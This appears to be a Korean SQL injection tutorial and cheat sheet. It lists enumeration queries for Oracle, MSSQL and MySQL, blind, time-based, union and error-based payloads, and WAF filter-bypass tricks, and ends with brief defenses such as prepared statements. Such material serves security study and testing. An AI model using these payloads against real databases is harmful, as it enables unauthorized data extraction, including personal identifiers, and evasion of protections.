SQL Injection은 서버에서 미리 정의해둔 미완성된 쿼리문에 악성 코드를 삽입하는 공격입니다.
사용자가 입력한 동적/정적 파라미터를 기존의 미완성된 쿼리에 삽입하여 완성한 뒤
DBMS에 질의함에 따라 결과를 출력해주는 과정에서
적절한 보안조치가 이루어지지 않는다면 비정상적인 행위를 일으킬 수 있습니다.
오늘 날은 예전과 달리 웹 제작 시 스프링 등과 같은 프레임워크를 사용하기에
인젝션을 포함한 대부분의 공격은 보안조치가 되어있기에 발생 빈도는 낮습니다.
가장 널리 사용되는 DBMS는 Oracle, MSSQL 등이 있고
임베디드나 내부망의 노후된 환경에서는 MySQL, SQLite 등이 사용되곤 합니다.
이번 장에서는 SQLi를 초급부터 다루는 것이 아닌
취약점이 발견되었을 때, 데이터 덤핑에 필요한 메타데이터를 획득하는 방법을 다룹니다.
MeteData
메타데이터는 데이터에 관한, 데이터를 위한 데이터입니다.
예를 들어 홍길동 이라는 사람의 이름은 데이터이지만
사람마다 각각의 이름을 구분하기 위해 동일한 특성을 가진 것들을 묶어서 일컫는
"이름" 과 같은 데이터는 메타데이터라고 부릅니다.
# 버전 정보
SELECT banner FROM v$version;
# 현재 데이터베이스
SELECT user FROM dual;
# 전체 테이블 그룹 출력
SELECT listagg(table_name, '***') FROM all_tables;
# 전체 컬럼 그룹출력
SELECT listagg(column_name, '***') FROM all_tab_columns;
# 특정 컬럼의 레코드 그룹출력
SELECT listagg(<Column>, '***') FROM <Table>;
# 테이블 순차 출력
SELECT table_name FROM (SELECT table_name, rownum AS num FROM all_tables WHERE owner=(SELECT USER FROM dual))a WHERE a.num=N
# 컬럼 순차 출력
SELECT column_name FROM (SELECT rownum AS num, column_name FROM all_tab_columns WHERE table_name=<Table>)a WHERE a.num=N
# 레코드 순차 출력
SELECT <Column> FROM (SELECT <Column>, rownum AS num FROM <Table>)a WHERE a.num=N
# 버전 정보
SELECT @@version;
# 현재 데이터베이스
SELECT db_name();
# 전체 데이터베이스 그룹출력
SELECT string_agg(name, '***') FROM sys.databases;
# 전체 테이블 그룹 출력
SELECT string_agg(name, '***') FROM <Database>.sys.tables
# 전체 컬럼 그룹 출력
SELECT string_agg(name, '***') FROM <Database>..<Table>
# 특정 컬럼의 레코드 전체 그룹 출력
SELECT string_agg(<Column>, '***') FROM <Database>..<Table>
# 테이블 순차 출력
SELECT name FROM (SELECT name, ROW_NUMBER() over(order by name) AS
num FROM sys.tables)a WHERE a.num=N
# 컬럼 순차 출력
SELECT name FROM (SELECT name, ROW_NUMBER() over(order by name) AS num FROM sys.columns WHERE object_id = object_id(<Table>))a WHERE a.num=N
# 레코드 순차 출력
SELECT name FROM (SELECT *, ROW_NUMBER() over(order by name) AS num FROM <Table>)a WHERE a.num=N
# 버전 정보
SELECT version();
# 현재 데이터베이스
SELECT database();
# 전체 데이터베이스 그룹 출력
SELECT group_concat(table_schema, '***') FROM information_schema.schemata;
# 전체 테이블 그룹 출력
SELECT group_concat(table_name, '***') FROM information_schema.tables WHERE table_schema = <Database>;
# 전체 컬럼 그룹 출력
SELECT group_concat(column_name, '***') FROM information_schema.columns WHERE table_schema = <Database> AND table_name = <Table>;
# 특정 컬럼의 레코드 전체 출력
SELECT group_concat(<Column>, '***') FROM <Table>;
# 테이블 순차 출력
SELECT table_name FROM information_schema.tables
WHERE table_schema=(select database()) limit N,1
# 컬럼 순차 출력
SELECT column_name FROM information_schema.columns WHERE table_schema=<Database> AND table_name=<Table> limit N,1
# 레코드 순차 출력
SELECT <Column> FROM <Table> limit 0,1;
공격 기법
Blind SQLi
Blind SQLi는 참/거짓에 대한 결과를 알 수 없는 상태에서 사용합니다.
일반적으로 참/거짓에 대한 결과의 차이가 보여지는 경우에는
출력하는 레코드를 조건문에 따라 다르게 분기하여 확인할 수 있습니다.
SELECT * FROM users WHERE idx=(case when 1=1 then 1 else 0 end);
하지만 참/거짓에 대한 결과의 차이가 보여지지 않는 경우 또한 있을 수 있는데
이때는 의도적인 오류 발생과 블라인드 쿼리를 연계하여 공격이 가능합니다.
프로그램 실행 오류에는 컴파일 오류와 런타임 오류 2가지가 존재합니다.
컴파일 오류는 쿼리의 실행 여부에 무관하게 컴파일되는 시점에 오류가 발생하기 때문에
반드시 해당 쿼리는 정상적으로 실행되지 않습니다.
반면 런타임 오류는 실행 시점에서 오류가 발생한다면 오류 결과를 반환하기 때문에
컴파일 과정에서 오류가 발생하지 않습니다.
이러한 특성을 이용하여 런타임 과정에서만 오류가 발생하는 쿼리를 생성하여
조건문이 분기됨에 따라 실행될 경우에만 오류가 발생하도록 의도하면
특정 조건에 부합할 때만 커스텀 에러 페이지로 리디렉션 될 것입니다.
SELECT * FROM users WHERE idx=(case when 1=2 then (SELECT 1 UNION SELECT 2) else (SELECT 1) end)
상위 쿼리에서는 조건문의 결과를 idx 컬럼에 삽입하는 상황입니다.
조건문이 참이 된다면 2개의 레코드 반환하게 되어있고,
거짓이 된다면 1개의 레코드를 반환하도록 되어있습니다.
Time Based SQLi
쿼리 결과 반환의 시간 차이를 이용하여 데이터를 탈취하는 Time Based SQLi는
참/거짓의 결과를 직접적으로 확인할 수 없다는 것에서 Blind SQLi의 일종으로 취급됩니다.
의도적으로 시간을 발생시키는 쿼리는 DBMS 별로 약간의 차이가 존재하기 때문에
이번 섹션에서는 Oracle, MSSQL, MySQL에 대한 시간 발생 방법을 다룹니다.
Oracle은 시간 차이를 발생시키는 함수가 기본적으로 PL/SQL 환경에서만 존재하기 때문에
의도적으로 연산 값을 올려 연산에 필요한 시간을 발생시키는 방법을 사용합니다.
all_users 목록은 데이터베이스의 모든 유저 목록을 불러오게 되는데,
FROM 절에 이것을 반복적으로 사용함에 따라 값을 증폭시킵니다.
SELECT * FROM users WHERE idx=1 AND (case when 1=1 then 1 else (SELECT count(*) FROM all_users A1, all_users A2, all_users A3, all_users A4) end)
MSSQL에서 시간 차이를 발생시키는 방법은 WAITFOR DELAY입니다.
하지만 이 함수는 case when 구문에서 사용이 불가능하고 IF 구문에서만 사용이 가능합니다.
하지만 IF 구문은 서브쿼리에 사용이 불가능하기 때문에 기존 서버에 작성된 쿼리를
종료시켜준 이후, 새로운 쿼리로 만들어줍니다.
SELECT * FROM users; IF 1=1 WAITFOR DELAY '00:00:02';
MySQL에서는 시간 차이를 발생시키는 함수로 SLEEP를 사용합니다.
만약 서버에서 이 함수를 막아뒀을 경우 BENCHMARK 함수를 통한 시간 차이 발생도 가능합니다.
SELECT * FROM users WHERE idx=1 AND (case when 1=1 then sleep(2) else 1 end);
SELECT * FROM users WHERE idx=1 AND (case when 1=1 then benchmark(100000000,1) else 1 end);
Union Based SQLi
Union SQLi가 발생하는 환경은 SQLi 취약점이 존재하며
공격 페이로드를 실행했을 때 결과 값이 화면에 출력되거나, 혹은 어떠한 방법으로든
그 결과 값을 직접 확인할 수 있을 때 사용 가능합니다.
Union은 메인 쿼리에서 반환하는 레코드의 개수와
서브쿼리에서 반환하는 레코드의 개수가 동일해야지 컴파일 오류가 발생하지 않습니다.
때문에 서버 데이터를 탈취하는 페이로드를 작성하기 이전
기존 서버에서 작성된 메인쿼리의 반환 필드가 몇개인지 파악하는 것이 우선입니다.
출력된 필드 중 특정 컬럼을 기준으로 정렬하는 ORDER BY 구문은
컬럼 이름으로만 정렬하는 것이 아닌, 컬럼의 순서를 통해서 정렬하는 것이 가능한데
반환되는 필드보다 높은 숫자를 입력 시에 오류가 발생하는 특징이 있습니다.
예를 들어 다음과 같은 테이블이 있다고 해보겠습니다.
+--------+---------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+--------+---------------+------+-----+---------+----------------+
| idx | int(11) | NO | PRI | NULL | auto_increment |
| ssn | varchar(20) | NO | UNI | NULL | |
| name | varchar(50) | NO | | NULL | |
| age | int(11) | NO | | NULL | |
| gender | enum('M','F') | NO | | NULL | |
+--------+---------------+------+-----+---------+----------------+
이때 idx, ssn, name, age, gender 이라는 컬럼은 순서대로 1,2,3,4,5 라는 숫자로 정렬이 가능합니다.
즉 3을 기준으로 정렬하면 name 기준으로 정렬이 되며, 2를 기준으로 정렬하면 ssn 기준으로 정렬됩니다.
하지만 존재하지 않는 6번을 기준으로 정렬하면 오류가 발생하게 되기 때문에
정렬 기준의 숫자를 높여감에 따라 오류가 발생하는 지점에서 컬럼의 개수를 파악할 수 있습니다.
다만 Oracle과 MSSQL의 경우 컬럼의 데이터 타입에 따라 대용량 데이터 타입일 경우엔
컬럼의 개수가 더 존재하는데도 오류가 발생할 수 있으니
오류가 발생한 숫자에서 -1을 한 값이 전체 컬럼의 개수라고 단정지을 수는 없습니다.
그래서 오류가 발생하더라도 숫자를 계속 높여가서 다른 결과는 보이지 않는지
파악하는 것 또한 중요합니다.
기존에 서버에서 이름, 나이, 성별만 출력해줄 때 주민등록번호를 출력하는 쿼리는
아래와 같이 만들 수 있습니다.
SELECT name,age,gender FROM users WHERE idx=1 UNION SELECT null,null,(SELECT ssn FROM users WHERE idx=1)
메인 쿼리에서 반환하는 레코드와 서브 쿼리에서 반환하는 레코드의 데이터 타입은 동일해야 합니다.
메인 쿼리에서 name, age, gender은 순서대로 문자열, 정수, 문자열이기 때문에
서브 쿼리에서 반환하는 필드의 데이터 타입도 문자열, 정수, 문자열이 와야 합니다.
하지만 null의 경우 데이터 타입에 의존하지 않기 때문에 필드의 개수를 맞출 때는
보통 DBMS와 상관없이 null 타입을 사용하며
사용자가 확인할 수 있도록 노출되는 필드를 파악한 뒤, 그곳에 공격 페이로드를 삽입합니다.
Error Based SQLi
Error SQLi는 서버에서 DBMS 오류에 따른 커스텀 에러 페이지를 생성하지 않고
오류에 대한 메시지가 그대로 노출되는 환경에서 사용 가능한 공격입니다.
오류 메시지는 디버깅 용도를 위해서 자세하게 출력해주기 때문에
공격자가 삽입한 문구가 메시지의 일부로 그대로 출력이 되고,
공격자는 탈취하고자 하는 정보를 오류가 발생하도록 실행하여
오류 메시지로부터 원하는 정보를 획득할 수 있습니다.
의도적으로 오류를 발생시키는 쿼리는 DBMS 별로 약간의 차이가 존재하기 때문에
이번 섹션에서는 Oracle, MSSQL, MySQL에 대한 오류 발생 방법을 다룹니다.
SELECT CTXSYS.DRITHSX.SN(user,<DATA>) FROM dual;
SELECT convert(int,<DATA>);
SELECT case((SELECT <DATA>) as int);
SELECT updatexml(null,concat(0x0a,<DATA>),null);
Bypass
이번 장에서는 WAF, 솔루션 등에서 차단하는 SQLi에 대한 우회 방법을 다룹니다.
문자열 우회
SELECT * FROM users WHERE name = 'admin';
실행하고 싶은 쿼리는 위와 같지만 서버에서 admin 글자를 차단할 때를 가정합니다.
concat
SELECT * FROM users WHERE name = concat('ad','min');
reverse
SELECT * FROM users WHERE name = reverse('nimda');
hex
SELECT * FROM users WHERE name = UTL_RAW.CAST_TO_VARCHAR2(HEXTORAW('416C696365'));
SELECT * FROM users WHERE name = CAST(0x416C696365 AS VARCHAR);
SELECT * FROM users WHERE name = 0x416C696365;
SELECT * FROM users WHERE name = 0x'416C696365';
연산자 우회
SELECT * FROM users WHERE idx=1 or 1=1;
실행하고 싶은 쿼리는 위와 같이 idx 값이 1인 레코드 외에
전체 레코드지만, 서버에서 연산자를 차단할 때를 가정합니다.
or
SELECT * FROM users WHERE 1 || 1;
SELECT * FROM users WHERE 1 & 1;
SELECT * FROM users WHERE 2 div 1
SELECT * FROM users WHERE name = 'admin' | 0;
SELECT * FROM users WHERE name = 1 xor 0
SELECT * FROM users WHERE name = 'admin' && 1;
equal
SELECT * FROM users WHERE idx LIKE 1;
SELECT * FROM users WHERE idx RLIKE 1;
SELECT * FROM users WHERE idx REGEXP 1;
SELECT * FROM users WHERE idx in (1);
공백 우회
SELECT * FROM users WHERE idx = 1/**/or/**/1=1;
SELECT"name"FROM"users"WHERE"idx"=1;
SELECT * FROM users WHERE idx = 1/**/or/**/1=1;
SELECT * FROM users WHERE idx = 1/**/or/**/1=1;
SELECT`name`FROM`users`WHERE`idx`=1;
SELECT * FROM users WHERE idx = 1=case(1=1)when(1=1)then(1)else(2)end;
문자
URL 인코딩
tab(\n)
%0a
Vertical tab(\v)
%0b
Form feed(\f)
%0c
Carrige return(\r)
%0d
대응 방안
Prepare Statement 적용
화이트리스트를 이용한 사용자 입력값 검증
사용자 입력값 길이 제한 설정
SQLi 공격은 Prepare Statement 조치만으로도 대부분의 공격은 차단됩니다.
하지만 사전 컴파일 작업을 통해 데이터를 코드가 아닌 문자 자체로 인식시켜서
취약점을 없애는 Prepare Statement는 정렬(ORDER BY)과 같은 입력값을 방어하지는 못합니다.
따라서 화이트리스트를 통한 입력값 검증과 입력값 길이 제한 등을 통해 보안 조치가 가능합니다.